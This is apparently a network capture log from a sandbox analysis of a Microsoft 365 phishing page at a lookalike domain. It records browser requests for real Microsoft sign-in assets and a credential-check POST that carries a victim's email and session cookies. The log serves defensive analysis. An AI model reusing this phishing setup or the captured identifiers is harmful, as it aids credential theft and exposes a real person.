2024-11-14 15:39:50 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20339873 Cache-Control: public, max-age=31536000 Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Content-Type: image/svg+xml Date: Thu, 14 Nov 2024 15:39:50 GMT Etag: 0x8DB5C3F466DE917 Last-Modified: Wed, 24 May 2023 10:11:43 GMT Server: ECAcc (lhc/792B) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 60ece416-101e-0092-59ad-7deb55000000 x-ms-version: 2009-09-19 Content-Length: 1864 Connection: close
2024-11-14 15:39:50 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.17	49754	152.199.21.175	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:50 UTC	420	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:50 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20339913 Cache-Control: public, max-age=31536000 Content-MD5: nzaLxFgP7ZB3dfMcaybWzw== Content-Type: image/svg+xml Date: Thu, 14 Nov 2024 15:39:50 GMT Etag: 0x8DB5C3F495F4B8C Last-Modified: Wed, 24 May 2023 10:11:48 GMT Server: ECAcc (lhc/7892) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 002cd9d5-201e-00e1-69ad-7d6453000000 x-ms-version: 2009-09-19 Content-Length: 3651 Connection: close
2024-11-14 15:39:50 UTC	3651	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.17	49756	152.199.21.175	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:50 UTC	625	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_4285088f1dbaf52a876d.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://butter.mnrov.eg-mart.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:50 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 7790888 Cache-Control: public, max-age=31536000 Content-MD5: 07aumYbfJEqwNBLMcAM10A== Content-Type: application/x-javascript Date: Thu, 14 Nov 2024 15:39:50 GMT Etag: 0x8DCBD52F42903D2 Last-Modified: Thu, 15 Aug 2024 17:51:56 GMT Server: ECAcc (lhc/78A7) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 22797220-301e-0043-49cf-ef2c70000000 x-ms-version: 2009-09-19 Content-Length: 113769 Connection: close
2024-11-14 15:39:50 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-11-14 15:39:50 UTC	1	IN	Data Raw: 75 Data Ascii: u
2024-11-14 15:39:51 UTC	16383	IN	Data Raw: 32 30 30 61 22 2c 22 68 61 6c 66 22 3a 22 5c 78 62 64 22 2c 22 68 61 6d 69 6c 74 22 3a 22 5c 75 32 31 30 62 22 2c 22 48 41 52 44 63 79 22 3a 22 5c 75 30 34 32 61 22 2c 22 68 61 72 64 63 79 22 3a 22 5c 75 30 34 34 61 22 2c 22 68 61 72 72 63 69 72 22 3a 22 5c 75 32 39 34 38 22 2c 22 68 61 72 72 22 3a 22 5c 75 32 31 39 34 22 2c 22 68 41 72 72 22 3a 22 5c 75 32 31 64 34 22 2c 22 68 61 72 72 77 22 3a 22 5c 75 32 31 61 64 22 2c 22 48 61 74 22 3a 22 5e 22 2c 22 68 62 61 72 22 3a 22 5c 75 32 31 30 66 22 2c 22 48 63 69 72 63 22 3a 22 5c 75 30 31 32 34 22 2c 22 68 63 69 72 63 22 3a 22 5c 75 30 31 32 35 22 2c 22 68 65 61 72 74 73 22 3a 22 5c 75 32 36 36 35 22 2c 22 68 65 61 72 74 73 75 69 74 22 3a 22 5c 75 32 36 36 35 22 2c 22 68 65 6c 6c 69 70 22 3a 22 5c 75 32 30 Data Ascii: 200a","half":"\xbd","hamilt":"\u210b","HARDcy":"\u042a","hardcy":"\u044a","harrcir":"\u2948","harr":"\u2194","hArr":"\u21d4","harrw":"\u21ad","Hat":"^","hbar":"\u210f","Hcirc":"\u0124","hcirc":"\u0125","hearts":"\u2665","heartsuit":"\u2665","hellip":"\u20
2024-11-14 15:39:51 UTC	16383	IN	Data Raw: 39 30 66 22 2c 22 52 42 61 72 72 22 3a 22 5c 75 32 39 31 30 22 2c 22 72 62 62 72 6b 22 3a 22 5c 75 32 37 37 33 22 2c 22 72 62 72 61 63 65 22 3a 22 7d 22 2c 22 72 62 72 61 63 6b 22 3a 22 5d 22 2c 22 72 62 72 6b 65 22 3a 22 5c 75 32 39 38 63 22 2c 22 72 62 72 6b 73 6c 64 22 3a 22 5c 75 32 39 38 65 22 2c 22 72 62 72 6b 73 6c 75 22 3a 22 5c 75 32 39 39 30 22 2c 22 52 63 61 72 6f 6e 22 3a 22 5c 75 30 31 35 38 22 2c 22 72 63 61 72 6f 6e 22 3a 22 5c 75 30 31 35 39 22 2c 22 52 63 65 64 69 6c 22 3a 22 5c 75 30 31 35 36 22 2c 22 72 63 65 64 69 6c 22 3a 22 5c 75 30 31 35 37 22 2c 22 72 63 65 69 6c 22 3a 22 5c 75 32 33 30 39 22 2c 22 72 63 75 62 22 3a 22 7d 22 2c 22 52 63 79 22 3a 22 5c 75 30 34 32 30 22 2c 22 72 63 79 22 3a 22 5c 75 30 34 34 30 22 2c 22 72 64 63 61 Data Ascii: 90f","RBarr":"\u2910","rbbrk":"\u2773","rbrace":"}","rbrack":"]","rbrke":"\u298c","rbrksld":"\u298e","rbrkslu":"\u2990","Rcaron":"\u0158","rcaron":"\u0159","Rcedil":"\u0156","rcedil":"\u0157","rceil":"\u2309","rcub":"}","Rcy":"\u0420","rcy":"\u0440","rdca
2024-11-14 15:39:51 UTC	16383	IN	Data Raw: 74 72 69 63 74 22 3b 74 2e 41 6e 79 3d 72 28 38 38 34 29 2c 74 2e 43 63 3d 72 28 38 38 35 29 2c 74 2e 43 66 3d 72 28 31 33 38 31 29 2c 74 2e 50 3d 72 28 37 38 34 29 2c 74 2e 5a 3d 72 28 38 38 36 29 7d 2c 31 33 38 31 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 65 78 70 6f 72 74 73 3d 2f 5b 5c 78 41 44 5c 75 30 36 30 30 2d 5c 75 30 36 30 35 5c 75 30 36 31 43 5c 75 30 36 44 44 5c 75 30 37 30 46 5c 75 30 38 45 32 5c 75 31 38 30 45 5c 75 32 30 30 42 2d 5c 75 32 30 30 46 5c 75 32 30 32 41 2d 5c 75 32 30 32 45 5c 75 32 30 36 30 2d 5c 75 32 30 36 34 5c 75 32 30 36 36 2d 5c 75 32 30 36 46 5c 75 46 45 46 46 5c 75 46 46 46 39 2d 5c 75 46 46 46 42 5d 7c 5c 75 44 38 30 34 5b 5c 75 44 43 42 44 5c 75 44 43 43 44 5d 7c 5c 75 44 38 32 46 5b 5c 75 44 43 41 30 2d 5c Data Ascii: trict";t.Any=r(884),t.Cc=r(885),t.Cf=r(1381),t.P=r(784),t.Z=r(886)},1381:function(e,t){e.exports=/[\xAD\u0600-\u0605\u061C\u06DD\u070F\u08E2\u180E\u200B-\u200F\u202A-\u202E\u2060-\u2064\u2066-\u206F\uFEFF\uFFF9-\uFFFB]\|\uD804[\uDCBD\uDCCD]\|\uD82F[\uDCA0-\
2024-11-14 15:39:51 UTC	16383	IN	Data Raw: 4d 61 72 6b 73 5b 74 5d 3b 69 66 28 65 2e 73 43 6f 75 6e 74 5b 74 5d 2d 65 2e 62 6c 6b 49 6e 64 65 6e 74 3e 3d 34 29 72 65 74 75 72 6e 21 31 3b 69 66 28 34 32 21 3d 3d 28 6f 3d 65 2e 73 72 63 2e 63 68 61 72 43 6f 64 65 41 74 28 75 2b 2b 29 29 26 26 34 35 21 3d 3d 6f 26 26 39 35 21 3d 3d 6f 29 72 65 74 75 72 6e 21 31 3b 66 6f 72 28 69 3d 31 3b 75 3c 6c 3b 29 7b 69 66 28 28 61 3d 65 2e 73 72 63 2e 63 68 61 72 43 6f 64 65 41 74 28 75 2b 2b 29 29 21 3d 3d 6f 26 26 21 6e 28 61 29 29 72 65 74 75 72 6e 21 31 3b 61 3d 3d 3d 6f 26 26 69 2b 2b 7d 72 65 74 75 72 6e 21 28 69 3c 33 29 26 26 28 73 7c 7c 28 65 2e 6c 69 6e 65 3d 74 2b 31 2c 28 63 3d 65 2e 70 75 73 68 28 22 68 72 22 2c 22 68 72 22 2c 30 29 29 2e 6d 61 70 3d 5b 74 2c 65 2e 6c 69 6e 65 5d 2c 63 2e 6d 61 72 Data Ascii: Marks[t];if(e.sCount[t]-e.blkIndent>=4)return!1;if(42!==(o=e.src.charCodeAt(u++))&&45!==o&&95!==o)return!1;for(i=1;u<l;){if((a=e.src.charCodeAt(u++))!==o&&!n(a))return!1;a===o&&i++}return!(i<3)&&(s\|\|(e.line=t+1,(c=e.push("hr","hr",0)).map=[t,e.line],c.mar
2024-11-14 15:39:51 UTC	16383	IN	Data Raw: 75 72 6e 20 72 3d 65 2e 73 72 63 2e 73 6c 69 63 65 28 63 2b 31 2c 6c 29 2c 73 2e 74 65 73 74 28 72 29 3f 28 6f 3d 65 2e 6d 64 2e 6e 6f 72 6d 61 6c 69 7a 65 4c 69 6e 6b 28 72 29 2c 21 21 65 2e 6d 64 2e 76 61 6c 69 64 61 74 65 4c 69 6e 6b 28 6f 29 26 26 28 74 7c 7c 28 28 69 3d 65 2e 70 75 73 68 28 22 6c 69 6e 6b 5f 6f 70 65 6e 22 2c 22 61 22 2c 31 29 29 2e 61 74 74 72 73 3d 5b 5b 22 68 72 65 66 22 2c 6f 5d 5d 2c 69 2e 6d 61 72 6b 75 70 3d 22 61 75 74 6f 6c 69 6e 6b 22 2c 69 2e 69 6e 66 6f 3d 22 61 75 74 6f 22 2c 28 69 3d 65 2e 70 75 73 68 28 22 74 65 78 74 22 2c 22 22 2c 30 29 29 2e 63 6f 6e 74 65 6e 74 3d 65 2e 6d 64 2e 6e 6f 72 6d 61 6c 69 7a 65 4c 69 6e 6b 54 65 78 74 28 72 29 2c 28 69 3d 65 2e 70 75 73 68 28 22 6c 69 6e 6b 5f 63 6c 6f 73 65 22 2c 22 61 Data Ascii: urn r=e.src.slice(c+1,l),s.test(r)?(o=e.md.normalizeLink(r),!!e.md.validateLink(o)&&(t\|\|((i=e.push("link_open","a",1)).attrs=[["href",o]],i.markup="autolink",i.info="auto",(i=e.push("text","",0)).content=e.md.normalizeLinkText(r),(i=e.push("link_close","a
2024-11-14 15:39:51 UTC	5	IN	Data Raw: 22 62 61 6c 61 Data Ascii: "bala
2024-11-14 15:39:51 UTC	15465	IN	Data Raw: 6e 63 65 5f 70 61 69 72 73 22 2c 22 65 6d 70 68 61 73 69 73 22 2c 22 74 65 78 74 5f 63 6f 6c 6c 61 70 73 65 22 5d 7d 7d 7d 7d 2c 31 34 32 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 65 2c 74 29 7b 76 61 72 20 72 2c 6e 2c 73 2c 6f 2c 69 2c 61 3d 5b 5d 2c 63 3d 74 2e 6c 65 6e 67 74 68 3b 66 6f 72 28 72 3d 30 3b 72 3c 63 3b 72 2b 2b 29 34 33 3d 3d 3d 28 73 3d 74 5b 72 5d 29 2e 6d 61 72 6b 65 72 26 26 2d 31 21 3d 3d 73 2e 65 6e 64 26 26 28 6f 3d 74 5b 73 2e 65 6e 64 5d 2c 28 69 3d 65 2e 74 6f 6b 65 6e 73 5b 73 2e 74 6f 6b 65 6e 5d 29 2e 74 79 70 65 3d 22 69 6e 73 5f 6f 70 65 6e 22 2c 69 2e 74 61 67 3d 22 69 6e 73 Data Ascii: nce_pairs","emphasis","text_collapse"]}}}},1428:function(e,t,r){"use strict";e.exports=function(e){function t(e,t){var r,n,s,o,i,a=[],c=t.length;for(r=0;r<c;r++)43===(s=t[r]).marker&&-1!==s.end&&(o=t[s.end],(i=e.tokens[s.token]).type="ins_open",i.tag="ins

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.17	49755	152.199.21.175	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:50 UTC	664	OUT	GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://butter.mnrov.eg-mart.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:50 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 20253895 Cache-Control: public, max-age=31536000 Content-MD5: R2FAVxfpONfnQAuxVxXbHg== Content-Type: image/svg+xml Date: Thu, 14 Nov 2024 15:39:50 GMT Etag: 0x8DB5C3F4BB4F03C Last-Modified: Wed, 24 May 2023 10:11:52 GMT Server: ECAcc (lhc/7928) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 21996301-501e-00c2-0976-7e8866000000 x-ms-version: 2009-09-19 Content-Length: 1592 Connection: close
2024-11-14 15:39:50 UTC	1592	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 64 65 66 73 3e 3c 73 74 79 6c 65 3e 2e 61 7b 66 69 6c 6c 3a 6e 6f 6e 65 3b 7d 2e 62 7b 66 69 6c 6c 3a 23 34 30 34 30 34 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 64 65 66 73 3e 3c 72 65 63 74 20 63 6c 61 73 73 3d 22 61 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 62 22 20 64 3d 22 4d 34 30 2c 33 32 2e 35 37 38 56 34 30 48 33 32 56 33 36 48 32 38 56 33 32 48 32 34 56 32 38 2e 37 36 36 41 31 30 2e 36 38 39 2c 31 30 2e 36 38 39 2c 30 2c 30 2c Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689,0,0,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.17	49758	78.138.9.37	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:51 UTC	2903	OUT	POST /common/GetCredentialType?mkt=en-US HTTP/1.1 Host: butter.mnrov.eg-mart.com Connection: keep-alive Content-Length: 1991 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" hpgrequestid: 1aba22a1-ac25-4d59-81a4-713653f54200 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 client-request-id: e4f51108-acbb-4b9c-b0ce-ee6009dc8e5b canary: PAQABDgEAAADW6jl31mB3T7ugrWTT8pFerl-SgcwSXelm04RwmEABbAXiODw46VB0VZL5qXgJevw5J3XvxtLBKUZREiHNPaKdWaYXU7Wz2Xt30l_vWgE2rWvLwrUBUK4SZWfWsHL-CAsMqwV40uEjeou48pFVGDUX0fR5bC6uUYOi00Dg4hgWXEAcTMXnPgePvmohAJesl4f54WnmepNuxFTzTFjmhP9ONSRdx3QTC-vtUUiZl7eq8CAA Content-type: application/json; charset=UTF-8 hpgid: 1104 Accept: application/json hpgact: 1800 sec-ch-ua-platform: "Windows" Origin: https://butter.mnrov.eg-mart.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://butter.mnrov.eg-mart.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638671955718237263.Mjk1MjhmMmQtYjE5NS00NGY1LTk4MzctZjFmOGMyNGI2ODZlMDViMDA3N2UtMTM0NS00YWVjLThkMzItZDVjNzVhMjUzZDA1&ui_locales=en-US&mkt=en-US&client-request-id=e4f51108-acbb-4b9c-b0ce-ee6009dc8e5b&state=t82KkN8qSrLC6URXxGdzdwPPGQUxDdOt5fnn77Wq5veWYrdD5gSLye_fXugX7AJv4pVjGGaVtiId25gWUs030S8Snr3gZnLbSN5zloepdfeyXTGHFWSy_eGGX39tvs6ekIfTwQckHIIpk2_MS0S8xCi-n_C4zK5mHoeSLQ4csVqknL3jgiLITpmCclwc0UP5vb_wyujPGMgfu5A7gZfAikeeqmGxZVMltiL0lAVKjWGhLI4Gi2BoZA4veN99aKaw20VhNhws6kXcS91LRbNWfA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-JanPB47Zzx4=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeOgrWZOqrQ1uFsg9pHwAYLs57srf2d6Kdd__WOjYP9hSZswfxwnfgz3MfCVmDjmamp4lAtnhHdXZyQD8DNgUm_YOhIfeFzs65Pfop03rao2y7IEPZ8iZeP6MdwidpoY9qTKIXS1kzQOU-R5DFBU4bvSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATQAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA0AA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeipCc4ldnS61jJLBkrluvKKjPhkbyjnm7FJb-rDg5hR4CxXPlbFma3FhlwQ5_7cbQA45yaCvZ_uF0aSaIVZoxJqjEdfJKv_MxBDaL_hD7Wd4gAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezhwTsZEpQggFeYkQRv1HpP4yyZJelITyUo-TKUiV2Idv4ezzEHYhx7nupcdSPwX7TxLpCx_OLQeHgXCfyPIzpf5mISakq9mCP0OWEFaQuXfewqC6vxubsvbaZuxNsHot4mJJ63tSlE2AoLbZM1KjkxE7z5ezI6dGOLYx8VnXtEsgAA; esctx-iB8Pq6MyNGQ=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeMZ6diUzLG_ohrrKcqO5C8Wl88tOt2ObB-PTJZdX3Os-NF9Zdsl8i3vv09yhXFsZhb-VqoJJ6D81Nuf_kQQMqWso3cWSko8VzNqKbs76xIxuXBunFefHlEnpUx9WMhujsZppHiVglJ10YwcnUjEjJhyAA; fpc=As8-FCUdWYJOniJMOE9eVDK8Ae7AAQAAALoQyN4OAAAA; brcap=0
2024-11-14 15:39:51 UTC	1991	OUT	Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 22 61 64 61 72 73 68 2e 6d 61 6c 68 6f 74 72 61 40 6a 61 74 6f 2e 63 6f 6d 22 2c 22 69 73 4f 74 68 65 72 49 64 70 53 75 70 70 6f 72 74 65 64 22 3a 74 72 75 65 2c 22 63 68 65 63 6b 50 68 6f 6e 65 73 22 3a 66 61 6c 73 65 2c 22 69 73 52 65 6d 6f 74 65 4e 47 43 53 75 70 70 6f 72 74 65 64 22 3a 74 72 75 65 2c 22 69 73 43 6f 6f 6b 69 65 42 61 6e 6e 65 72 53 68 6f 77 6e 22 3a 66 61 6c 73 65 2c 22 69 73 46 69 64 6f 53 75 70 70 6f 72 74 65 64 22 3a 74 72 75 65 2c 22 6f 72 69 67 69 6e 61 6c 52 65 71 75 65 73 74 22 3a 22 72 51 51 49 41 52 41 41 68 5a 49 5f 69 4e 74 32 48 4d 55 6c 2d 38 35 33 5a 39 72 47 54 55 4a 4a 4d 78 32 6c 68 64 4b 4c 62 66 32 58 66 5a 42 42 5a 39 33 4a 69 76 57 54 66 53 64 62 74 74 56 42 74 61 57 66 72 50 2d Data Ascii: {"username":"adarsh.malhotra@jato.com","isOtherIdpSupported":true,"checkPhones":false,"isRemoteNGCSupported":true,"isCookieBannerShown":false,"isFidoSupported":true,"originalRequest":"rQQIARAAhZI_iNt2HMUl-853Z9rGTUJJMx2lhdKLbf2XfZBBZ93JivWTfSdbttVBtaWfrP-
2024-11-14 15:39:52 UTC	974	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 14 Nov 2024 15:39:51 GMT Content-Type: application/json; charset=utf-8 Content-Length: 1723 Connection: close Cache-Control: no-store, no-cache Client-Request-Id: e4f51108-acbb-4b9c-b0ce-ee6009dc8e5b Expires: -1 Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+frc"}]} Set-Cookie: fpc=As8-FCUdWYJOniJMOE9eVDK8Ae7AAQAAALoQyN4OAAAA; expires=Sat, 14-Dec-2024 15:39:51 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly X-Ms-Ests-Server: 2.1.19343.4 - WEULR1 ProdSlices X-Ms-Request-Id: 1182c605-a5a7-4bea-99b7-40f9d96b5b01 X-Ms-Srs: 1.P
